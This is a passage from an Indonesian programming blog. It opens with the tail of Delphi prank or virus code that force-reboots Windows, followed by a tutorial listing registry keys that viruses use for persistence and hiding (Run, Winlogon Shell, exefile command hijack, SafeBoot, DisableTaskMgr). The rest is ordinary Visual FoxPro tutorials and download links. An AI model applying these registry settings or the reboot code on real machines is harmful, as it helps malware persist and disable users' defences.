procedure TFreak.FormUnDock(Sender: TObject; Client: TControl;
NewTarget: TWinControl; var Allow: Boolean);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;

procedure TFreak.Timer11Timer(Sender: TObject);
begin
ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
end;

end.

download

nb:
untuk memaksimalkan/memperkecil ukuran file gunakan upx(search di google aja)
(kami tidak bertanggung jawab atas penyalah gunaan script diatas)

Selengkapnya...

Dewasa ini para pemakai/pengguna computer begitu pesat dan kekhawatiran akan virus semakin melonjak drastis… virus seolah menjadi momok yang menakutkan dan terus menghatui para pengguna computer…. Disini saya akan membahas alamat-alamat register(regedit) yang biasa digunakan oleh beberapa jenis virus computer…..
Kali ini aku akan membahas lebih dalam tentang bagaimana cara virus
menyeting registry. Dan settingan registry seperti apa yang biasa dilakukan virus.
Virus yang berjalan pada system operasi windows tak dapat lepas dari bantuan
registry yang dapat membuat virus tersebut mampu memiliki daya tahan yang sangat kuat sehingga sulit sekali untuk dimusnahkan. Registry dimanfaatkan virus sebagai tameng atau benteng pertahanan yang dapat melindunginya dari berbagai
serangan-serangan yang dapat membuat dirinya (virus) musnah dari computer yang telah terinfeksi.

Misalkan kita telah berhasil mematikan suatu virus dengan menggunakan
program task manager ataupun program sejenisnya tanpa melakukan pembersihan
pada registry. Dimana virus telah memasang suatu kunci pada registry yang akan
mengaktifkan dirinya jika user menjalankan suatu aplikasi, maka sudah bisa pastikan bahwa virus tersebut akan aktif kembali.
Untuk membuka register cukup dengan mengetikkan regedit pada menu Run

Alamat registry yang biasa digunakan oleh virus:

1. Pada key Run.
Key ini digunakan virus agar virus aktif pada saat windows melakukan logon.
Contoh:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Jenis Nilai : String
Nama Kunci : Virus
Nilai : C:\Windows\Virus.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Jenis Kunci : String
Nama Kunci : Virus
Nilai : C:\Windows\Virus.exe

2. Pada Key Explorer.
Key ini digunakan virus untuk melindungi dirinya agar tetap tersembunyi. Virus
dapat melakukan berbagai manipulasi explorer pada key ini.
Contoh:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Poli
cies\Explorer\
Jenis Nilai : DWORD
Nama Kunci : NoFolderOptions
Nilai : 1

3. Pada Key System.
Key ini juga digunakan virus untuk melindungi dirinya. Dengan key ini virus
dapat menonaktifkan TaskManager dan Registry.
Contoh:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Poli
cies\System\
Jenis Nilai : DWORD
Nama Kunci : DisableTaskMgr
Nilai : 1
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\
Jenis Nilai: DWORD
Nama Kunci: DisableCMD
Nilai: 1
Pada Key Winlogon.
Key ini digunakan virus untuk mengaktifkan dirinya sebelum/sesudah tampilan
windows keluar.
Contoh:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon
Jenis Nilai : String
Nama Kunci : Shell
Nilai : Explorer.exe "C:\Windows\IExplorer.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon
Jenis Kunci : String
Nama Kunci : Userinit
Nilai :
C:\Windows\System32\userinit.exe,C:\Windows\IExplorer.exe

5. Pada Key Dekstop.
Key ini digunakan virus sebagai sarana penyamaran virus sebagai screen
saver sehingga pada screen saver berjalan bukan screen saver yang berjalan
tapi melainkan virus yang berjalan.
Contoh:
HKEY_CURRENT_USER\Control Panel\Desktop\
Jenis Kunci : String
Nama Kunci : SCRNSAVE.EXE
Nilai : C:\Windows\System32\virus.SCR"
HKEY_CURRENT_USER\Control Panel\Desktop\
Jenis Kunci : String
Nama Kunci : ScreenSaverIsSecure
Nilai : 0
HKEY_CURRENT_USER\Control Panel\Desktop
Jenis Kunci : String
Nama Kunci : ScreenSaveTimeOut
Nilai : 600

6. Pada Key AeDebug.
Key ini hampir sama seperti screen saver hanya saja, jika terjadi suatu debug
pada windows maka tanpa sadar windows telah menjalankan virus.
Contoh:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\AeDebug
Jenis Kunci : String
Nama Kunci : Debugger
Nilai : "C:\Windows\System32\Shell.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\AeDebug
Jenis Kunci : String
Nama Kunci : Auto
Nilai : 1

7. Pada Key Command.
Key ini digunakan virus agar virus selalu aktif. Fungsi pengaktifannya jika user
menjalankan suatu aplikasi maka yang dijalankan pertama kali adalah virus
baru virus tersebut akan menjalankan aplikasi tersebut agar tidak
mencurigakan. Dengan key ini virus memegang akses penuh terhadap suatu
aplikasi. Virus dapat menjalankan suatu apikasi yang dia jalankan atau pun
sebaliknya.
Contoh:
HKEY_CLASSES_ROOT\exefile\shell\open\command
Jenis Kunci : String
Nama Kunci :
Nilai : "C:\Windows\System32\shell.exe " "%1"%*
HKEY_CLASSES_ROOT\lnkfile\shell\open\command
Jenis Kunci : String
Nama Kunci :
Nilai : "C:\Windows\System32\shell.exe " "%1"%*
HKEY_CLASSES_ROOT\piffile\shell\open\command
Jenis Kunci : String
Nama Kunci :
Nilai : "C:\Windows\System32\shell.exe " "%1"%*
HKEY_CLASSES_ROOT\batfile\shell\open\command
Jenis Kunci : String
Nama Kunci :
Nilai : "C:\Windows\System32\shell.exe " "%1"%*
HKEY_CLASSES_ROOT\comfile\shell\open\command
Jenis Kunci : String
Nama Kunci :
Nilai : "C:\Windows\System32\shell.exe " "%1"%*
Ket Nama Kunci = Kosong artinya (Default).

8. Pada Key Safe Boot.
Key ini digunakan virus agar virus tetap aktif. Pada saat windows berjalan pada
mode safe-mode atau pun dos sehingga user tidak akan dapat menghapus
virus ini pada mode safe mode.
Contoh:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot
Jenis Kunci : String
Nama Kunci : AlternateShell
Nilai : C:\Windows\Virus.exe

9. Pada Key exefile.
Key ini digunakan virus untuk melakukan manipulasi file agar virus tersebut
tetap tersamar sehingga sulit untuk membedahkan mana file yang asli dan
mana yang virus.
HKEY_CLASSES_ROOT\exefile
Jenis Kunci : String
Nama Kunci :
Nilai : File Folder
Nama Kunci = Kosong artinya (Default).

10. Pada Key CabinetState.
Key ini digunakan virus sebagai suatu sarana yang dapat membantu
penyeberan jika user menggunakan windows explorer. Karena address bar
windows explorer akan menampilkan alamat file yang sedang dibuka oleh user
dengan lengkap.
Contoh:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Expl
orer\CabinetState
Jenis Kunci : DWORD
Nama Kunci : FullPathAddress
Nilai : 1

11. Pada Key Advanced.
Key ini digunakan virus untuk menyembunyikan dirinya. Agar settingan
windows explorer tetap tidak akan menampilkan file yang dalam keadaan
tersembunyi.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Expl
orer\Advanced\
Jenis Kunci : DWORD
Nama Kunci : HideFileExt
Nilai : 1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Expl
orer\Advanced\
Jenis Kunci : DWORD
Nama Kunci : Hidden
Nilai : 0
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Expl
orer\Advanced
Jenis Kunci : DWORD
Nama Kunci : ShowSuperHidden
Nilai : 0
download selengkapnya

“Jangan Pernah takut akan virus”
“sesungguhnya virus adalah perbuatan manusia”
“yang patut kita takuti adalah sang pencipta”
“Yaitu Allah SWT”
“Sang Penguasa Semesta Alam”

CyberFox
“tutor ini kubuat untuk kekasihku yang bukan lagi pacarku”
“sesungguhnya aku masih sangat sayang ma dia”
“maafkan aku……..”
“to my swelo [keti]”


Email: syamsulkwk@gmail.com

Referensi tutor ini berasal dari Virus 4K51K4 yang dibuat oleh DNA [eXTR!M]

Selengkapnya...

Sebuah gulali dari seorang pemula………..!!!!!!!!!!!!!!
Bagi rekan-rekan yang dah susah payah buat program dan pada akhirnya program itu bisa di copy paste ma orang kan sayang…. Ni ada potongan program sederhana buat protek dengan serial number agar tak bisa lagi di copy paste…. Tapi rekan-rekan jangan tertawain ya soalnya masih pakai table…..he..he…
Langsung aja yach…

Buat table apa aja namanya, terserah kamu…..
Contoh table

Setelah membuat table selanjutnya buatlah sebuah form sebagai berikut

Coding program
Object : Frmsetup Procedur : UnLoad
RELEASE ALL LIKE ocx*


Object : Frmsetup Procedur : Init
THISFORM.txtPerusahaan.Enabled = .F.
THISFORM.txtAlamat.Enabled = .F.
THISFORM.txtKota.Enabled = .F.
THISFORM.txtTelpon.Enabled = .F.
THISFORM.txtFax.Enabled = .F.
THISFORM.txtemail.Enabled = .F.
thisform.text5.Enabled= .F.
thisform.text6.Enabled= .F.
thisform.text7.Enabled= .F.
THISFORM.text8.Enabled= .F.
thisform.text9.Enabled= .F.
THISFORM.cmdSelesai.Enabled = .F.
IF !FILE('biologi.ocx')
THISFORM.txtPerusahaan.Value = ""
THISFORM.txtAlamat.Value = ""
THISFORM.txtKota.Value = ""
THISFORM.txtTelpon.Value = ""
THISFORM.txtFax.Value = ""
THISFORM.txtemail.Value=""
THISFORM.text4.Value = ""
else
RESTORE FROM biologi.ocx ADDITIVE
THISFORM.txtPerusahaan.Value =ocx1
THISFORM.txtAlamat.Value= ocx2
THISFORM.txtKota.Value=ocx3
THISFORM.txtemail.Value=ocx4
THISFORM.txtTelpon.Value=ocx5
THISFORM.txtFax.Value= ocx6
THISFORM.text4.Value =ocx7
ENDIF

Object : Frmsetup Procedur : Activate
THISFORM.TXTPERUSAHAAN.SETFOCUS

Object : Cmdselesai Procedur : Click
SET SAFETY OFF
ocx1 = THISFORM.txtPerusahaan.Value
ocx2 = THISFORM.txtAlamat.Value
ocx3 = THISFORM.txtKota.Value
ocx4 = THISFORM.txtemail.Value
ocx5 = THISFORM.txtTelpon.Value
ocx6 = THISFORM.txtFax.Value
ocx7 = THISFORM.text4.Value
SAVE TO biologi.ocx ALL LIKE ocx*

IF thisform.optiongroup1.option1.Value=1
IF THISFORM.text4.Value=THISFORM.txtnilai.Value
THISFORM.txtNilai2.Value=0
THISFORM.txtNilai1.Value=0
THISFORM.Release
ELSE
MESSAGEBOX("Serial Number Not valid",64,"Information")
ENDIF
ELSE
thisform.optiongroup1.option2.Value=1
THISFORM.txtNilai2.Value=1
THISFORM.txtNilai1.Value=1
THISFORM.txtNilai3.Value=30
THISFORM.Release
Endif

Object : Cmdbatal Procedur : Click
frmutama.RELEASE
quit

Object : text5 Procedur : InteractiveChange
cno2=ALLTRIM(Thisform.text5.Value)
a=cno2+''
Thisform.text4.Value=a

Object : text6 Procedur : InteractiveChange
cno=alltrim(Thisform.text6.Value)
cno2=alltrim(Thisform.text5.Value)
a=cno2+'-'+cno
Thisform.text4.Value=a

Object : text7 Procedur : InteractiveChange
cno3=alltrim(Thisform.text7.Value)
cno=alltrim(Thisform.text8.Value)
cno1=alltrim(Thisform.text6.Value)
cno2=alltrim(Thisform.text5.Value)
a=cno2+'-'+cno1+'-'+cno+'-'+cno3
Thisform.text4.Value=a 
Object : text8 Procedur : InteractiveChange
cno=alltrim(Thisform.text8.Value)
cno1=alltrim(Thisform.text6.Value)
cno2=alltrim(Thisform.text5.Value)
a=cno2+'-'+cno1+'-'+cno
Thisform.text4.Value=a

Object : text9 Procedur : InteractiveChange
cno4=alltrim(Thisform.text9.Value)
cno3=alltrim(Thisform.text7.Value)
cno=alltrim(Thisform.text8.Value)
cno1=alltrim(Thisform.text6.Value)
cno2=alltrim(Thisform.text5.Value)
a=cno2+'-'+cno1+'-'+cno+'-'+cno3+'-'+cno4
Thisform.text4.Value=a

Object : text9 Procedur : Lostfocus
thisform.cmdSelesai.Enabled= .T.

Object : option1 Procedur : Click
THISFORM.txtPerusahaan.Value = ""
THISFORM.txtAlamat.Value = ""
THISFORM.txtKota.Value = ""
THISFORM.txtTelpon.Value = ""
THISFORM.txtFax.Value = ""
THISFORM.txtemail.Value=""
THISFORM.text4.Value = ""
THISFORM.txtPerusahaan.Enabled = .T.
THISFORM.txtAlamat.Enabled = .T.
THISFORM.txtKota.Enabled = .T.
THISFORM.txtTelpon.Enabled = .T.
THISFORM.txtFax.Enabled = .T.
THISFORM.txtemail.Enabled = .T.
thisform.text5.Enabled= .T.
thisform.text6.Enabled= .T.
thisform.text7.Enabled= .T.
THISFORM.text8.Enabled= .T.
thisform.text9.Enabled= .T.
thisform.cmdSelesai.Enabled= .F.
THISFORM.txtPerusahaan.SetFocus

Object : option2 Procedur : Click
THISFORM.txtPerusahaan.Enabled = .F.
THISFORM.txtAlamat.Enabled = .F.
THISFORM.txtKota.Enabled = .F.
THISFORM.txtTelpon.Enabled = .F.
THISFORM.txtFax.Enabled = .F.
THISFORM.txtemail.Enabled = .F.
thisform.text5.Enabled= .F.
thisform.text6.Enabled= .F.
thisform.text7.Enabled= .F.
THISFORM.text8.Enabled= .F.
thisform.text9.Enabled= .F.
thisform.cmdSelesai.Enabled= .T.

THISFORM.txtPerusahaan.Value =" KwK Initial Studio "
THISFORM.txtAlamat.Value =" Jl. Pemuda No.48 Daya "
THISFORM.txtKota.Value =" Makassar"
THISFORM.txtemail.Value =" syamsulkwk@gmail.com "
THISFORM.txtTelpon.Value = " Indonesia "
THISFORM.txtFax.Value =" 081241514646 "
THISFORM.text4.Value =" Demo Version 30 Day's "
Tampilan program ketika di Run

download selengkapnya

Selengkapnya...

disini kita berbagi karna ilmu tidak akan dibawah mati, buat rekan-rekan yang senang dengan tampilan
unik, disini aku akan membuat Splash screen dengan menggunakan table….
Buatlah table seperti berikut :

buah container, 10 label, 2 buah timer, 1 buah shape dan 2 buah text
Coding program

Object : Form1 Procedur : Activate
USE keti
_SCREEN.Hide
for i = 0 to 150 step 1
thisform.nload.value = I && nload adalah text
thisform.shp.width=i+1 && shp adalah Shape
inkey(0.000001,"h")
next
thisform.nload.value=150
thisform.shp.width=thisform.nload.width-2
inkey(1,"h")
LOCAL tinggi,mulai
tinggi=(thisform.height /50)
FOR mulai=1 TO tinggi
thisform.Height=thisform.Height -50
thisform.Top=(_screen.height-thisform.Height )/2
thisform.Width=thisform.Width -50
thisform.Left=(_screen.Width-thisform.Width )/2
DOEVENTS
NEXT mulai
thisform.Release

Object : Form1 Procedur : Unload
_SCREEN.Show

Object : Form1 Procedur : Init
LPARAMETERS tnDrivenumber
Declare integer GetModelNumber in diskSerial.dll Integer nDrivelpBuffer,String
aa=space(40)
?GetModelNumber(tnDrivenumber,@aa)
thisform.text1.value=(strTRAN(aa,CHR(0),""))
IF !FILE('biologi.ocx')
THISFORM.Label4.Caption = ""
THISFORM.Label5.Caption = ""
THISFORM.Label6.Caption = ""
else
RESTORE FROM biologi.ocx ADDITIVE
THISFORM.Label4.Caption = ocx1
THISFORM.Label5.Caption = ALLTRIM(ocx2) +' '+ALLTRIM(ocx3)
THISFORM.Label6.Caption=ocx7
ENDIF

Object : Timer3 Procedur : Timer
if ! reccount()=0
skip +1
if eof()
go bottom
endif
thisform.label1.Caption=nama
ENDIF

Object : Timer1 Procedur : Timer
LOCAL Keti, Black, kwk
Keti =ThisForm.CAPTION
Black =SUBSTR(Keti,1,1)
kwk = SUBSTR(Keti, 2, LEN(Keti))
ThisForm.CAPTION = kwk + Black

download selengkapnya

Selengkapnya...

Membuat menu utama keren……………
Maaf yach kalo aku ga tau menjelaskan coz aku ga tau harus mulai dari mana,
sebenarnya aku juga malu memposting tutor ini, mungkin ini terlalu simple dan
sederhana. Kita langsung aja yach Buatlah sebuah form dengan nama frmutama,
seperti gambar yang ada di bawah…
Komponen-komponen yang digunakan sebagai berikut :
6 buah container
11 buah label
3 buah image……………………



Object : Frmutama Procedur : Tampil
LOCAL _selec
_selec=0
DEFINE POPUP menúcontex SHORTCUT RELATIVE FROM MROW(),MCOL()
DEFINE BAR 2 OF menúcontex PROMPT ".::. Cari Istilah Biologi"
DEFINE BAR 5 OF menúcontex PROMPT ".::. Cari Nama Ilmiah"
DEFINE BAR 7 OF menúcontex PROMPT ".::. Input Data"
ON SELECTION BAR 2 OF menúcontex _selec=2
ON SELECTION BAR 5 OF menúcontex _selec=5
ON SELECTION BAR 7 OF menúcontex _selec=7
ACTIVATE POPUP menúcontex
DO case
CASE _selec=2
CASE _selec=5
CASE _selec=7
ENDCASE

Object : Frmutama Procedur : Lihat
LOCAL _selec
_selec=0
DEFINE POPUP menúcontex SHORTCUT RELATIVE FROM MROW(),MCOL()
DEFINE BAR 2 OF menúcontex PROMPT ".::. Programmer"
DEFINE BAR 5 OF menúcontex PROMPT ".::. Browser KwK Initial"
DEFINE BAR 7 OF menúcontex PROMPT ".::. Readme"
ON SELECTION BAR 2 OF menúcontex _selec=2
ON SELECTION BAR 5 OF menúcontex _selec=5
ON SELECTION BAR 7 OF menúcontex _selec=7
ACTIVATE POPUP menúcontex
DO case
CASE _selec=2
CASE _selec=5
CASE _selec=7
ENDCASE

Object : Frmutama Procedur : klik
LOCAL _selec
_selec=0
DEFINE POPUP menúcontex SHORTCUT RELATIVE FROM MROW(),MCOL()
DEFINE BAR 2 OF menúcontex PROMPT ".::. Change Background application"
DEFINE BAR 5 OF menúcontex PROMPT ".::. Change Background Time"
DEFINE BAR 6 OF menúcontex PROMPT ".::. Change Background Date"
DEFINE BAR 7 OF menúcontex PROMPT ".::. Refresh"
DEFINE BAR 9 OF menúcontex PROMPT ".::. Date"
DEFINE BAR 12 OF menúcontex PROMPT ".::. Time"
DEFINE BAR 14 OF menúcontex PROMPT ".::. Exit Application"
ON SELECTION BAR 2 OF menúcontex _selec=2
ON SELECTION BAR 5 OF menúcontex _selec=5
ON SELECTION BAR 6 OF menúcontex _selec=6
ON SELECTION BAR 7 OF menúcontex _selec=7
ON SELECTION BAR 9 OF menúcontex _selec=9
ON SELECTION BAR 12 OF menúcontex _selec=12
ON SELECTION BAR 14 OF menúcontex _selec=14
ACTIVATE POPUP menúcontex
DO case
CASE _selec=2
LOCAL iFoto
ifoto=Getfile("jpg|bmp|gif|png")
if!empty(iFoto)
thisform.image2.picture=iFoto
ENDIF
CASE _selec=5
CASE _selec=6
CASE _selec=7
CASE _selec=12
CASE _selec=14
Endcase

Object : Frmutama Procedur : Init
DECLARE INTEGER InvalidateRect IN user32;
INTEGER hwnd, INTEGER lpRect,;
INTEGER bErase
_screen.Visible= .F.
lcLastSetPath = SET('PATH')
lcLastSetDir = SET('DIRECTORY')
lcLastSetTalk = SET('TALK')
SET TALK OFF
lcSys16 = SYS(16)
lcProgram = SUBSTR(lcSys16, AT(":", lcSys16) - 1)
CD LEFT(lcProgram, RAT("\", lcProgram))
CD LEFT(lcProgram, RAT("\", lcProgram))
PUBLIC _up, _down

Object : Frmutama Procedur : Activate
thisform.calender1.Height=163

Object : site_link Procedur : Click
thisform.Activate
LOCAL lcFileName,lcWorkDir,lcOperation
tcFileName="http://www.kwkinitial.wordpress.com"
IF EMPTY(tcFileName)
RETURN -1
ENDIF
lcFileName=ALLTRIM(tcFileName)
lcWorkDir=IIF(TYPE("tcWorkDir")="C",ALLTRIM(tcWorkDir),"")
lcOperation=IIF(TYPE("tcOperation")="C" AND NOT
EMPTY(tcOperation),ALLTRIM(tcOperation),"Open")
DECLARE INTEGER ShellExecute ;
IN SHELL32.DLL ;
INTEGER nWinHandle,;
STRING cOperation,;
STRING cFileName,;
STRING cParameters,;
STRING cDirectory,;
INTEGER nShowWindow
RETURN ShellExecute(0,lcOperation,lcFilename,"",lcWorkDir,1)

download selengkapnya

Selengkapnya...

Tga usah bingung mengkonversi file document ke file jpg, bmp, gif, pdf dll......
cukup dengan menginstal software Universal Document Converter..... setelah anda menginstal Universal Document Converter bukalah document yang ingin anda konversi ke file jpg, bmp, gif, pdf dll. selanjutnya klik print seperti gambar berikut

untuk memilih tipe file yang di inginkan klik properties maka akan tampil jendela berikut

selanjutnya terserah anda.......
download

Selengkapnya...

sedikit ilmu baru yang aku dapatkan dari om google.....
lansung aja yach pertama-tama instal image viewercp gold. setelah anda instal jalankan microsoft visual foxpro 9.0 dan buatlah sebuah form pastikan komponen tersebut telah terinstal dan masuk pada pada foxpro.... klik tool - option sehingga akan terlihat jendela option seperti gambar berikut

setelah itu tekan ok, selanjutnya pada form controls pilih view classes kemudian pilih activex control, pastikan image viewercp gold ada pada form control. klik image viewercp gold kemudian masukkan ke form. potongan script program dapat anda lihat dibawah

object : form1 procedure : init
thisform.imageviewer.mousetrackmode=1

object : command1 procedure : click
thisform.imageviewer.zoomIn


object : command2 procedure : click
thisform.imageviewer.zoomOut

object : command3 procedure : click
Result = thisform.ImageViewer.PrintImage(thisform.chkshowprintdialog.Value)

If Result =0
=MessageBox("Print Failure")
EndIf

download software

Selengkapnya...

Themes Cerator Sony Ericsson download

Themes Creator Nokia s40 download

Vista Mizer download

SideBar Vista Terlaris download

K-Mac download

Neo TracePro download

Wireshark download

Banana Screen Security download

Selengkapnya...